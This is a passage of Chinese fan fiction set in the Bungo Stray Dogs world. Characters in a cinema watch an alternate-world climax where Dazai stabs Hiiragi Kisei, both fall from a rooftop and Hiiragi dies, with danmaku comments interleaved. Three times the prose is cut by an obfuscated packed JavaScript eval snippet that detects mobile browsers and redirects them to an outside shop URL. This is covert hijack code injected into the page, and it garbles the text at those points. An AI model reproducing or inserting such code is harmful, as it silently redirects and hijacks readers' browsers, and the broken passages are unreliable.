“太宰君,”他说,“你知道我为什么还活着吗?” 太宰治没有回答。 柊贵诚的目光落在那扇花窗上,落在那些斑斓的光影里。 “我见过太多的死了。”他说,“我的父母,我的亲人,我认识的每一个人……他们都在我面前死去。离死亡最近的那一天,我坐在废墟中间,周围全是尸体,我想,下一个就该是我了吧。” “但第二天太阳照常升起,第三天也是,第四天也是。” “我活着,不知道为什么活着,但就是活着。” 柊贵诚转过头,看着太宰治。 “后来我想,也许活着不需要理由,活着本身就是理由。” 太宰治沉默着。 很长久的沉默。 教堂里的光线随着云层的移动暗了一瞬,又亮起来。 太宰治忽然想起那天在桥上,他翻过栏杆往下坠的时候,余光里看见的那个身影。 那人站在对岸,隔着整座桥,隔着来来往往的行人,就那么站着,看着他往下掉。 那时候他在想什么? 是“又一个想死的人”? 还是“又一个不想活的人”? 太宰治不知道。 也不想问。 他只是看着那张侧脸,看着那张在阳光下显得过分安宁的侧脸,心里有什么东西轻轻动了一下。 很轻。 轻到他自己都没有察觉。 然后太宰治忽然动了。 他转过身,面对着柊贵诚,双手合十,做出一个祷告的手势。 姿态虔诚。 表情认真。 柊贵诚愣了一下。 太宰治看着他,鸢色的眼睛里带着一点笑意,一点认真,还有一点谁也看不懂的东西。 “神啊,”他开口,声音很轻,像是在真正地祈祷,“请给予眼前这个男人,死后永远的安宁。” 话落的瞬间,教堂里安静得像是时间停住了。 柊贵诚怔怔地看着他。 看着那双眼睛,看着那个手势,看着那张脸上难得出现的、不带任何伪装的表情。 他张了张嘴,想说什么。 但什么都没说出来。 …… 有什么东西从眼角滑落。 很轻。 很烫。 沿着脸颊的线条,一路滑下去,最后落在黑色的袍子上,洇出一个深色的点。 他不知道那是什么。 不知道为什么。 只是在那一刻,在太宰治用那种声音说出那些话的瞬间,他心里的某一块地方,忽然塌了。 不是悲伤。 不是感动。 是一种他说不清的东西,像是什么很沉很重的东西终于被接住了,被一个不该接住它的人接住了。 太宰治看着他。 看着那张脸上的泪痕,看着那双眼睛里忽然涌出来的、藏都藏不住的东西。 他放下手,歪了歪头。 “哭了?” 声音很轻,带着一点点的意外。 柊贵诚抬起手,摸了摸自己的脸。 湿的。 太宰治看着对面泪流满面的男人,轻轻笑了一下。 那笑容很淡,很轻,像是午后的阳光落在地板上的那些光斑。 柊贵诚看着那个笑容,忽然觉得—— 这大概是他这辈子见过的,最像光的东西。 “太宰君,”柊贵诚说,声音有一点哑,“你真的很奇怪。” “彼此彼此。” 教堂里重新安静下来。 阳光继续透过花窗落进来,在他们身上投下斑斓的光影,尘埃在光线里缓慢浮动,像是某种无声的见证。 他们并排坐着,看着前方。 谁也没有再说话。 【弹幕:啊啊啊啊啊啊啊啊啊——!!!】 【弹幕:太宰那个祷告!!!那个祷告!!!】 【弹幕:“神啊,请给予眼前这个男人死后永远的安宁”这句话直接击穿我】 【弹幕:老柊哭了!!老柊居然哭了!!!】 【弹幕:他见过那么多生死,经历过那么多背叛,居然被太宰一句话整破防了】 【弹幕:因为从来没有人祝他“安宁”啊!他一直在为别人创造奇迹,有谁在乎过他会不会累?】 【弹幕:这就是心动瞬间啊家人们!这就是老柊对太宰沦陷的开始!】 【弹幕:我宣布,从这一刻起,老柊就彻底完蛋了】 【弹幕:呜呜呜呜呜双向救赎,这就是双向救赎!】 【弹幕:太宰那个手势好认真,他真的在祈祷,为他祈祷】 【弹幕:老柊:我活了二十多年,第一次有人祝我死后安宁(泪目)】 【弹幕:教堂初见!花窗阳光!祷告落泪!这是什么神仙爱情开幕!】 【弹幕:前面的别说了别说了我眼泪止不住了】 【弹幕:呜呜呜呜呜回忆杀太刀了】 【弹幕:老柊你等着,你老婆正在飞机上回忆你呢!】 【弹幕:太宰那个“彼此彼此”现在听起来,根本就是“我也完了”】 【弹幕:横滨的桔梗花永不凋谢,就像那个午后的阳光,永远留在他们心里】 21.第 21 章 港口□□的大楼矗立在横滨的天际线上,像一根刺向天空的黑色的刺。 柊贵诚站在楼顶的边缘,俯瞰着脚下的城市。 横滨在燃烧。 不,不仅仅是横滨。 远处的海面上腾起黑色的烟柱,更远的地方,那些他看不见的城市、看不见的国家、看不见的大陆,此刻都在燃烧。 战火从世界的每一个角落升起。 而这一切的根源—— 柊贵诚抬起头。 天空裂开了。 不是比喻,不是形容,是真的裂开了。 在那片本该是蓝天白云的地方,横亘着另一个世界。 它倒悬着,像是从镜子里映出的倒影,却比任何镜子都更真实。 山川、河流、城市、田野,一切都清晰可见,一切都触手可及,只要抬起头,就能看见那个“另一个世界”正俯视着这个世界。 【我的世界】 柊贵诚的异能力。 从八岁那年起就存在于他体内的那个世界,如今终于被释放出来,倒悬于整个地球的上空。 柊贵诚注视着那个世界,目光平静得像是在看一个老朋友。 那个世界里没有战争。 那个世界里没有仇恨。 那个世界里,所有人的意识都连接在同一个精神网络中,他们共享记忆,共享情感,共享力量。 一个货车司机今天可以是货车司机,明天就可以去当飞行员,后天可以去当政府高管,因为所有技能都在那个精神网络里,随时可以调用。 那个世界里,异能力不再是天赐的偶然,不再是概率的玩笑,而是每个人都可以拥有的、平等的力量。 资源是共享的。 痛苦是分担的。 快乐是共有的。 没有人会孤独,没有人会被遗弃,没有人会因为“不被理解”而痛苦,因为所有人都能理解你,所有人的意识都连接在一起。 那是一个真正的乌托邦。 而现在—— 柊贵诚低下头,看着脚下的横滨,看着那些升起的烟柱,看着那些在街道上奔逃的人群,看着那些为了阻止他而拼死战斗的人。 他们不知道。 他们以为自己是在阻止一个野心家,阻止一个想要毁灭世界的疯子。 他们不知道,当上方的世界与这个世界重合的那一刻,当【我的世界】的规则覆盖现实世界的那一刻…… 所有的战火都会熄灭。 所有的仇恨都会消解。 所有人都会真正地相互理解。 他们以为自己在守护这个世界,却不知道他们守护的是一个充满误解、仇恨、痛苦的旧世界。 柊贵诚轻轻叹了口气。 风很大,吹起他的发丝,吹动他的衣摆,他站在那里,像一尊雕塑,又像一个即将降临的神明。 身后传来脚步声。 一步一步,踏在天台的地面上,在风中依然清晰可闻。 柊贵诚没有回头,但他知道那是谁。 脚步声在他身后几步远的地方停住。 沉默。 很长久的沉默。 然后柊贵诚开口了。 “好久不见,太宰。” 他的声音很轻,被风吹散了一些,但依然清晰地传进身后那人的耳朵里。 太宰治站在天台上,看着那个背对着他的身影。 从柊贵诚的计划开始实施的那一天起,他们就再也没有见过面。 多久了? 一个月?两个月?还是更久? 太宰治不知道。 那些日子他被人藏起来,被人保护起来,被当成对付这个人的“终极武器”小心翼翼地守护着。 因为“书”已经被柊贵诚得手了,不知道是藏起来了还是销毁了,所以那些想要阻止柊贵诚的人把所有的希望都压在了太宰治身上。 毕竟,他是唯一一个能让所有异能力失效的人。 他们认为太宰治是那把可以刺穿这个“魔王”的剑。 他们把他藏起来,不让柊贵诚找到,不让柊贵诚有机会对他下手。 …… 太宰治看着那个背影。 那人穿了一身初见时的衣服,站在那里,俯瞰着横滨整座城市。 没有什么志得意满。 没有什么野心即将实现的兴奋。 只有一种很深的、很沉的平静。 太宰治想起那些倒在路上的人。 那些想要阻止他、却连他的面都没见到的人。 那些倒在异能造物大军面前的人,一茬又一茬,像是割不完的草。 他想起那些人的脸。 想起他们眼中的愤怒和不解。 想起他们临死前还在喊着的那些话。 “阻止他!” “不能让他得逞!” “为了这个世界!” 然后他们倒下了。 一个接一个。 一批接一批。 那些异能力者们团结起来,那些普通人也拿起武器,他们联合在一起,组成一个庞大的联盟,想要阻止这个人的“野心”。 可他们连柊贵诚的面都没见到。 他们倒在了那些异能造物面前,倒在了鹿女、倒在了天使雕像、倒在了那些从【我的世界】里走出来的生命面前。 还有中原中也,他毫无保留地动用了污浊的力量,把自己的身体当作武器,把自己的一切都燃烧进去…… 然后被五条红色的锁链锁住了。 四肢,脖颈,像困住一头野兽一样,被牢牢地锁在这栋大楼的地下。 那双眼睛里最后的光芒,是愤怒?是不甘?还是终于可以停下战斗的、一丝若有若无的解脱? 太宰治不知道。 只是看着那个站在天台边缘的背影,看着那张平静的侧脸,忽然觉得…… 这个人,真的知道自己想要什么?在做什么吗? “我的理想即将实现了。” 柊贵诚的声音打断了他的思绪。 那人依然没有回头,只是微微侧了侧脸,像是在等他的回应。 “太宰,你不给我说声恭喜吗?” 太宰治没有说话,只是往前走了一步。 柊贵诚转过身来,两个终于……久违地再次相见了。 风在他们之间呼啸而过,带着硝烟和血腥,带着整个世界的混乱与疯狂。 “太宰,”柊贵诚看着他,“你知道吗,当两个世界重合的时候,人类这种生物就可以做到真正的相互理解了。” 他抬起手,指向天空中那个倒悬的世界。 “那个世界里,所有人的意识都连接在一起,你感受过的痛苦,我也能感受到,我经历过的绝望,你也能理解!” “没有人会孤独,没有人会被遗弃,没有人会因为‘不被理解’而痛苦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17235590|196429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 太宰治看着他。 “仇恨会消失,因为你能感受到被你仇恨的人的痛苦,隔阂会消失,因为你能走进每一个人的内心,战争会消失,因为没有人愿意对自己开战。” 柊贵诚的声音很轻,但每一个字都像是从心底挖出来的。 太宰治又往前走了一步。 柊贵诚没有后退,只是看着他。 “你还在犹豫什么?”柊贵诚问。 “你……” 他的话顿住了。 因为太宰治又往前走了一步。 这一次,很近。 近到双方都能看清对方脸上的任何神情。 “太宰?”柊贵诚轻轻唤了一声。 太宰治抬起手,放在柊贵诚胸口的位置,像是在感受什么。 然后忽然笑了。 “柊贵诚,”太宰治说,“你真的很奇怪。” 柊贵诚愣了一下。 “你明明可以杀了所有人,”太宰治继续说,“却非要让他们理解你。” “你明明可以不管任何人,直接让两个世界重合,却非要在这里等我,跟我说这些话。” “你明明……” 太宰治顿了顿。 “你明明知道我不会站在你这边,却还是要问。” 柊贵诚没有说话,只是看着对方。 这时,太宰治又往前走了一步。 这一次,两人之间的距离近得可以嗅闻彼此的发丝。 “你说的那个世界,”太宰治开口,声音很轻,“所有人相互理解,所有人共享一切,没有人孤独,没有人痛苦……” “听起来很美好。” 柊贵诚的眼睛亮了一瞬。 “但是,”太宰治看着他,“那不是人类的世界。” “人类就是因为不能相互理解,才是人类。”太宰治说,“痛苦就是因为无法分担,才是痛苦,孤独就是因为只有自己一个人,才是孤独。” “你把这些都拿走了,那剩下的是什么?” 柊贵诚张了张嘴,想说什么。 但胸口的凉意却让他止住了接下来的话。 不是疼。 是凉。 一种很奇怪的凉,像是有什么东西从那里开始,一点一点地,把他的温度带走。 他低下头。 看见一把匕首没入自己的胸口。 只露着刀柄。 握着刀柄的那只手,是他再熟悉不过的,修长,苍白,缠着绷带…… 柊贵诚愣住了。 他抬起头,看着太宰治。 那张脸上没有任何表情,没有愤怒,没有仇恨,没有胜利的喜悦,什么都没有。 只有一片空白。 像是他也不知道自己在做什么。 “太……宰……”柊贵诚张了张嘴,声音沙哑。 一股温热的液体从嘴角溢出,顺着下巴滴落,落在太宰治握着刀柄的手上。 太宰治的手微微颤了一下,但他没有松开。 “为什么……”柊贵诚问。 他问得很轻,像是在问一个他真的不知道答案的问题。 太宰治没有说话,喉咙动了一下。 想说什么。 可什么都说不出来。 他只是站在那里,握着那把刀,看着那个人一点一点地跪下去。 柊贵诚的膝盖触地的时候,发出一声很轻的闷响。 22.第 22 章 柊贵诚跪倒在地。 血从他的胸口涌出来,沿着匕首的刃口,一滴一滴落在地上,汇成一小片暗红。 他抬起头,还想说什么。 但太宰治先开口了。 “你知道吗……” 太宰治的一只手伸进口袋,缓缓掏出一样东西。 那是一枚宝石。 蓝绿色的,通透的,像是把一片海水凝固在了里面。 “这是……”太宰治把宝石举到眼前,对着光看,“你那个世界的锚点,对吧?” 柊贵诚没有说话。 “我在教堂找到的。”太宰治继续开口道。 为了找到它,阻止两个世界的融合,无数人几乎翻遍了整个横滨。 可他们不知道。 它就在那里。 在午后的阳光里,在彩色玻璃的光影里。 最终,也只有太宰治找到了它。 “如果把它毁了,那个世界的降临,应该就会被破坏了吧。” 说着,太宰治把宝石举高了一点。 夕阳的光从背后照过来,穿透那颗蓝绿色的宝石,在地上投下一片奇异的光影。 太宰治收回了手,随后将宝石紧握在手中,绕过跪在地上的柊贵诚,一步一步走向天台边缘。 “太宰——” 柊贵诚愣住了,想站起来,但身体不听使唤。 那把刀还插在他胸口,血还在往外涌,他的双腿已经没有力气。 太宰治走到天台边缘,往下看了一眼。 很高。 风从下面涌上来,吹起他的发丝,吹动他的风衣。 他忽然回过头。 看了柊贵诚一眼。 然后—— 太宰治向后倒去。 没有任何预警。 没有任何征兆。 他就那么向后一仰,整个人从天台边缘坠落下去。 “太宰——!” 柊贵诚的瞳孔猛地收缩,甚至没有思考,身体比意识更快地动了。 他拔出胸口那把匕首,随手扔在一旁,任凭鲜血从伤口里涌出来,然后撑着地面站起来,踉跄了一步,冲向天台边缘。 没有任何犹豫。 跳了下去。 风在耳边呼啸。 失重的感觉包裹着他,像是坠入一个无底的深渊。 柊贵诚睁开眼睛,在风里寻找那个身影。 他看见了。 就在下方不远处,沙色的风衣在风中翻飞,像一只折翼的鸟。 那人也在看着他。 鸢色的眼睛在夕阳里闪着光,里面有惊讶,有意外,还有一种很淡很淡的、像是释然的东西。 然后太宰治笑了。 和那天在教堂里一模一样的笑。 他朝柊贵诚伸出手。 柊贵诚也伸出手。 两只手在风中握住了彼此。 就在触碰的那一瞬间—— 【人间失格】。 无形的波动从他们交握的手掌中央扩散开来,在空气中荡起一圈一圈肉眼可见的涟漪。 异能力消散。 柊贵诚没有挣扎,反而猛地收紧手臂,把太宰治拉进自己怀里。 一只手环住他的腰,另一只手按住他的后脑,把他紧紧地摁在自己胸口。 太宰治的脸贴在那个正在流血的伤口上。 他能感觉到那个人的心跳。 很快。 很快。 快得像是在拼命跳动,拼命留住什么。 风在他们耳边呼啸,夕阳在他们身后沉落。 巨大的红色太阳悬在天边,像一个燃烧的眼睛,看着这两个相拥坠落的人。 柊贵诚低下头,看着怀里那颗黑色的脑袋,看着那些被风吹乱的发丝。 他忽然想起第一次见面。 那个人从侦探社的窗台探出脑袋,像一只初生的小猫,他们隔着人群相望,那双瞪大的、圆圆的眼睛还历历在目。 真可爱。 近了。 更近了。 地面的轮廓越来越清晰。 柊贵诚深吸一口气,用尽最后的力气—— 把太宰治往上一抛。 【人间失格】接触消失的瞬间,异能力重新回到了身体里。 一瞬间,无形的力量从他身下涌出,像一张柔软的网,稳稳地托住了他的身体。 随后—— 砰。 太宰治重重地砸在柊贵诚身上。 “柊……柊贵诚!” “柊……柊贵诚!” 那一瞬间,只听见身下传来一声闷哼,太宰治感觉到那个人的身体猛地一震,有什么温热的东西溅在自己脸上。 他撑起身体,低头看去。 柊贵诚躺在他身下,嘴角全是血。 那些血还在往外涌,从他的嘴里,从他的胸口,从他身上每一个能涌出来的地方。 但那双紫灰色的眼睛里,却是笑着的。 柊贵诚抬起手,轻轻地,慢慢地,把手放在太宰治的后脑上。 太宰治顺着对方的力道,没有反抗。 他趴在那个人身上,脸贴着那人的胸口,听见那颗心脏还在跳。 可……越来越慢。 他下意识地想撑起身,想做点什么。 但身下的人却收紧了手臂,把他牢牢地抱住。 那只手按在他后脑勺上,轻轻地、慢慢地抚摸着。 像是在安抚一只受惊的小动物。 “别动……” 柊贵诚的声音从头顶传来,轻得像一片羽毛。 “让我……再抱一会儿……” 太宰治不动了。 他就那么趴在那个人身上,听着那颗心跳,感觉着那只手一下一下地抚摸他的头。 砰。砰。砰。 越来越慢。 越来越弱。 太宰治闭上眼睛。 他把脸埋进那个人的颈窝里,听着那个越来越慢的心跳,感觉着那个越来越冷的体温。 夕阳在他们身后沉落。 巨大的红色太阳把最后的光洒在他们身上,把两个相拥的身影染成温暖的橙红色。 砰。 砰。 砰。 心跳声一下一下。 太宰治在心里数着。 一下。 两下。 三下。 他不知道数了多少下。 只知道那个声音越来越轻,越来越远,像是有人在慢慢走远,慢慢离开。 然后—— 没有了。 那只放在他后脑的手,忽然失去了所有的力气,轻轻地滑落下去。 太宰治没有动。 他只是把脸埋在那个人的颈窝里,听着那片突然降临的安静。 风停了。 整个世界都安静了。 好像有一个世纪那么久之后,太宰治抬起头。 看着那张脸。 那张苍白的、沾满血迹的、却还带着一丝若有若无的笑意的脸。 那双眼睛还睁着,可已经没有了往日的光彩。 太宰治伸出手,轻轻地,慢慢地,把那双眼睛合上。 然后他低下头。 把额头抵在那个人的额头上。 很久很久。 --- 远处,有人忽然抬起头。 “你们看——” 天空中,那个倒悬的世界开始颤动。 一开始很轻微,然后越来越剧烈。 它开始远离。 一点一点地上升,一点一点地破碎。 大块的陆地从天穹上剥落,化作无数光点,消散在夕阳里。 那些光点落下来,像一场无声的雨。 与此同时,那些原本与人类对峙的异能造物们,忽然都停下了动作。 那些从【我的世界】里走出来的异能生命们,一个一个仰起头,望着他们的故乡。 然后它们动了。 不是冲向人类。 而是冲向天空。 冲向那个正在破碎的世界。 它们的身影像一道道流星,逆着那些坠落的光点,向着那个即将毁灭的故乡飞去。 它们要去陪它。 要和它一起消失。 要和创造它们的那个世界共存亡。 地面上的人们愣愣地看着这一幕。 有人跌坐在地上。 有人跪了下来。 有人开始哭。 有人开始笑。 “我们……我们赢了?” 欢呼声从四面八方响起,有人相拥而泣,有人仰天长啸,有人跪在地上亲吻土地。 战火还在燃烧,但战争已经结束了。 他们赢了。 没有人注意到,在那些欢呼、哭泣、拥抱的人群脚下—— 有什么东西正在悄悄生长。 起初是一两朵。 然后是十几朵。 然后是成片成片。 紫色的,白色的,小小的花朵,从泥土里钻出来,从裂缝里钻出来,从每一个可以生长的地方钻出来。 它们越长越多,越长越密,像是要把整个横滨都淹没。 铺天盖地。 无穷无尽。 桔梗。 横滨的每一个角落,都被桔梗花填满了。 风吹过的时候,那些花朵轻轻摇曳,像是一片紫白色的海。 --- 港口□□大楼的脚下。 太宰治躺在一片桔梗花丛中。 他身边躺着另一个人。 那个人很安静,很安静,像是睡着了。 桔梗花在他们周围盛开,一朵一朵,一簇一簇,把他们包围在中间。 太宰治侧过身,看着那张苍白的脸。 他伸出手。 摘下一朵开得最好的桔梗花。 放在那个人的胸口,放在那个已经不再流血的地方。 “你现在……” 他开口,声音轻得像是怕惊动什么。 “安宁了吗?” 没有回答。 只有风。 只有花。 太宰治低下头。 把脸埋进那一片桔梗花里。 夕阳终于沉下去了。 夜色降临。 但那些花还在开。 一直在开。 像是永远不会凋谢。] —————— 【我不行了我不行了我不行了——!!!心理委员,我不得劲儿!!!】 【太宰掏出宝石的那一刻我还在想他会捏碎,结果他跳楼了?!】 【这对全程没有啥爱的告白,结果临到死的时候整了波大的】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244118|196429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【永不凋谢的桔梗花,就像他永远不会停止爱他】 【那些异能造物冲向天空的样子好悲壮,它们要和自己的世界共存亡】 【□□大楼296米,从楼顶到地面只需7.7秒,太宰,你在跳下来的7.7秒都想到了什么呢……】 【哪儿有空想啊,是吧,太宰,这点时间估计冷风都没咋感受到呢,老公温暖的怀抱就追了上来】 【最纯爱的那年,侦探社、港口全员重伤,横滨炸了,太宰治衣角微脏。】 【不是,前脚刚心动,粉红泡泡刚飘起来呢,后脚你就给我整个了个这个玩意!!!】 电影院内。 不仅是弹幕们对这幕接受无能,在观看这一幕的文野一行人,心里也堵得慌。 “呜呜呜,虽然早有预料,但是为啥还是死啦!还是最爱的人亲手捅的刀!”一旁安安静静观看的直美突然暴起,一把揪住太宰治的衣领来回摇晃,“太宰先生,你为什么要这么做?!” 太宰治:“……” 有没有一种可能,那个捅了爱人一刀的“太宰治”,和他这个坐在电影院里无辜吃瓜的太宰治,不是同一个人呢? 但看了看周围人那些泛红的眼圈,太宰治非常明智地把这句话咽了回去。 “如果不是柊贵诚允许,太宰治根本见不到他。”国木田推了推眼镜,“如果不是柊贵诚放弃……那个世界真有可能变成他口中的样子。” “只是破坏一个锚点就能阻止两个世界的融合?我不信。” “要真这么容易,那个世界的费奥多尔为什么费劲地在世界各地布下那么多锚点?甚至都没安排什么保护措施?” 江户川乱步抬起头,看着屏幕上那片静止的画面。 “降临这个世界最重要的锚点,从来都是柊贵诚本人。” 所以,那一刀根本杀不死他。 真正杀死他的,是那个跳下去的人。 是那一瞬间,他选择了追上去,选择了抱住他,选择了用最后的力量把他抛回生路,选择了—— 自己留下。 --- 角落里,费奥多尔的声音忽然响起。 很轻,却像是从牙缝里挤出来的。 “所以,那个太宰跳楼的目的很明确了,就是为了真正杀死柊贵诚。” 他的目光落在屏幕上,落在那两个相拥坠落的身影上。 “那一刀……根本杀不死他。” “真正杀死他的是……” 他说不下去了。 艹 那个世界的自己,差一点就要实现毕生的愿望了。 柊贵诚口中的那个世界,资源共享,人类相互理解,不存在阶级,不存在因为“不理解”和“异能力”而产生的仇恨。 那不就是他费奥多尔理想中的世界吗? 甚至比他的理想更好。 更彻底。 更乌托邦。 结果—— 费奥多尔闭上眼睛,不想让任何人看见自己此刻的情绪。 “费佳,”果戈里的声音难得认真起来,“你很难过。” 明明柊贵诚口中的那个世界一点也不自由,一点也符合小丑的审美,但果戈里还是感觉自己心里也闷闷的。 中原中也坐在另一排,双手抱胸,目光死死盯着屏幕上那片桔梗花海。 但此刻他想的不是那个被五条红色锁链锁住的“自己”,不是港口□□大楼的地下室。 他想的,是刚才那7.7秒。 从楼顶到地面。 7.7秒。 “……混蛋。” 中原中也低声骂了一句。 不知道是在骂谁。 骂太宰治? 骂柊贵诚? 骂那个世界的自己太没用? 还是骂这该死的、让人喘不过气的—— 他也不知道。 他只是看着那片桔梗花,看着那些永远不会凋谢的、铺天盖地的花。 忽然想起刚才弹幕里飘过的那句话: “永不凋谢的桔梗花,就像他永远不会停止爱他。” --- 与谢野晶子靠在椅背上,手里不知什么时候多了一根烟。 她没有点。 只是那么夹着,看着屏幕。 “你们都在讨论他为什么死,”她开口,声音比平时低了一点,“我倒是想知道,他为什么活。” 周围的人看向她。 “他活着的每一天,都在等这一天吧。”与谢野晶子说,“等那个能杀死他的人出现。” 她想起那些画面。 那个在孤儿院地下室里找到中岛敦的人,那个在教堂里坐着晒太阳的人,那个在菜市场买菜、在楼顶喂鸽子的人。 他活得那么认真。 那么用力。 那么像一个“正常人”。 可他的眼睛里,从来没有“想活”的光。 “所以……柊贵诚爱太宰治,我们都知道。” “那太宰治呢?他爱柊贵诚吗?” “爱的话,怎么会亲手杀死自己爱的人呢?” …… “可你现在,不正在为那个‘恶人’伤心吗?” “如果你通过一个人的叙述,爱上了那个素曾谋面的人,那说明,是叙述者爱他“ “所以——” “太宰治是爱柊贵诚的。” 23.第 23 章 但并非所有人都在为柊贵诚的死而悲伤。 镜头扫过战场的时候,有些人看见了不该看见的东西。 “卧槽——!!!” 一声惊叫从后排炸开,尖锐得几乎把前排人的魂儿都吓飞一半。 众人齐刷刷回头,只见一个东欧面孔的异能力者像被电击了一样从座位上弹起来,脸色白得像见了鬼。 不对,他可能就是见了鬼,手指颤抖地指着屏幕,嘴唇哆嗦得像是下一秒就要抽过去。 “你、你叫什么?”旁边的人被吓得往后一缩。 “那、那是我!!!” 那人终于吼出来了,声音劈叉得不成样子,“躺地上的那个!手脚都没了的那个!他妈的!那是我啊!!!” 众人顺着他手指的方向看去。 屏幕上定格在一处战场角落,那里躺着一个……姑且称之为“人形”的东西吧。 破破烂烂的,四肢已经看不出是四肢了,就是几团血肉模糊的玩意儿摊在地上。 “……” 周围忽然安静了。 那个东欧异能力者还在抖,低头看看自己完好的手,又抬头看看屏幕上那摊“自己”,再看看自己的手,脸色青了白,白了青,青了又白。 “我、我他妈的……” 他说不下去了。 但所有人都懂了他现在的感受。 文字上看到“半数异能力者陨落”是一回事,心里想的是“哦,死了一半人”。 看到自己躺在血泊里,就是另一回事了。 尤其是死得不是那么不体面。 “咳,”有人清了清嗓子,试图缓解这诡异的尴尬,“那个……至少你还活着,对吧?” “那不是我!!!”东欧人炸毛,“那是另一个世界的我!!!” “那你抖什么?” “我……我四肢疼不行啊!!” 众人默默收回目光。 不敢再看了。 谁知道下一个躺在地上的会不会是“自己”? --- 就在这时,屏幕上的画面忽然暗了下去。 最后定格的,是柊贵诚躺在桔梗花丛中的那张脸。 苍白的,安静的,嘴角带着一丝若有若无的笑。 然后画面彻底消失。 整个电影院陷入短暂的黑暗。 “结……结束了?” 有人不确定地问。 灯光亮起。 众人左顾右盼,面面相觑。 “所以……那个柊贵诚死了,电影就结束了?” “应该是吧?” “那我们怎么出去?” “不知道啊……” 议论声渐渐响起,带着茫然,毕竟看了一场世界大战,还看了一场惊心动魄的“殉情”,现在应该“可以走了”? 怎么走? 门在哪儿? 就在这时,一阵窸窸窣窣的骚动从后排传来。 不是那种看电影时的低声交谈,而是一种压抑不住的、带着某种诡异兴奋的躁动。 像是有人看见了什么不得了的东西。 坐在前排的国木田皱了皱眉,下意识回头看了一眼。 后排那些人的表情都很奇怪。 有人在揉眼睛,有人在掐自己的脸,还有人在反复扭头,一会儿看向大屏幕,一会儿看向身后的某个方向,脸上的表情像是见了鬼又像是中了彩票,复杂得没法形容。 “怎么了?”谷崎润一郎顺着他们的目光看过去。 然后他愣住了。 “那是……” 他的声音卡在喉咙里,像是被人掐住了脖子。 越来越多的人开始回头。 骚动像涟漪一样从前排扩散到后排,又从后排涌向前排,很快整个电影院的人都在扭头往后看。 有人在倒吸冷气,有人从座位上站了起来,还有人张着嘴,却一个字都说不出来。 “卧槽——!!!” 叫出声的还是那个东欧男人,他手指颤抖地指着身后的某个方向,眼珠子瞪得快要从眼眶里掉出来,脸色白得像是被人抽干了血。 “你你你你——!” 他的嘴唇哆嗦得像风中落叶。 “你——!你不是——!” 他猛地回头,看向大屏幕。 屏幕上,柊贵诚躺在桔梗花丛中,眼睛闭着,脸上带着笑,死得透透的。 他又猛地回头,看向身后的那个方向。 “你——!!!” “我的四肢不痛了……”他喃喃道,声音飘忽得像梦游,“我麻了……” 众人顺着他颤抖的手指看去。 然后—— 整个电影院陷入了死一般的寂静。 在那扇不知何时出现的门里,在众人身后,站着一个人。 修长的身影,黑色的衣袍,微垂的眼睫。 那张脸。 那张他们刚刚在屏幕上看了上百遍的脸。 那张苍白的、沾满血迹的、带着笑的、最后闭上眼睛的脸。 此刻正完好无损地站在那里。 正微微偏着头,用一种初来乍到的、纯粹好奇的目光,打量着这个陌生的空间。 就像他们这些人第一次来到这里时一样。 柊贵诚。 是柊贵诚。 是那个杀了半数异能力者的柊贵诚。 是那个差点让世界毁灭的柊贵诚。 是那个死在太宰治手里的柊贵诚。 此刻,他就站在那里。 活着。 完好无损。 脸上甚至还带着一点初来乍到的茫然。 没有人说话。 没有人动。 整个电影院安静极了。 “啪嗒。” 不知是谁的手机掉在地上,那声音在死寂中格外刺耳,却没有人去捡。 所有人的目光都死死地盯着那个身影。 恐惧、警惕、敌意、好奇、震惊、难以置信,各种情绪在那一瞬间交织成一张密不透风的网,把整个电影院罩得透不过气来。 但柊贵诚本人似乎完全没有意识到自己造成了多大的轰动。 他只是环顾着四周,看着那些盯着自己的陌生面孔,目光从一张脸上移到另一张脸上,带着一种平静的、甚至可以说得上是悠然的好奇。 就在这时,屏幕上的画面忽然消失了。 取而代之的是一行文字,静静地浮在黑暗中: 【请新到来的观众赶紧入座,影片即将开始】 一束光从上方投射下来,落在一个空着的座位上。 那是给柊贵诚安排的位置。 众人顺着那束光看去。 然后—— 表情集体变得微妙起来。 那个位置,在太宰治旁边。 说起来也是巧。 当时侦探社的人进来后,太宰治随便找了个位置坐下了,其他人看了看,觉得让已经坐下的太宰再挪位置太麻烦,就集体坐到了他的前一排和后一排 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“乱、乱步先生!您在说什么!” “我在说事实啊。”乱步往椅背上一靠,笑眯眯地看着前排那两个并排坐着的背影,“不然你们还想看什么?看他们什么时候牵手?” “……” 众人齐刷刷收回目光,动作整齐得像是排练过无数次,一个个正襟危坐,死死盯着前方还暗着的屏幕,表情严肃得仿佛在研究什么重大课题。 但余光,还是忍不住往那个方向飘。 柊贵诚似乎察觉到了什么。 他微微侧过头,扫了一眼前后排那些故作镇定实则眼神乱飘的脸,然后又转回来,看着前方的屏幕。 嘴角似乎弯了一下。 太宰治没有说话。 他只是靠在椅背上,目光落在前方那片还暗着的屏幕上,表情平静得像是真的只是在等电影开始。 但那只搭在扶手上的手,不知什么时候,往里挪了一点点。 一点点。 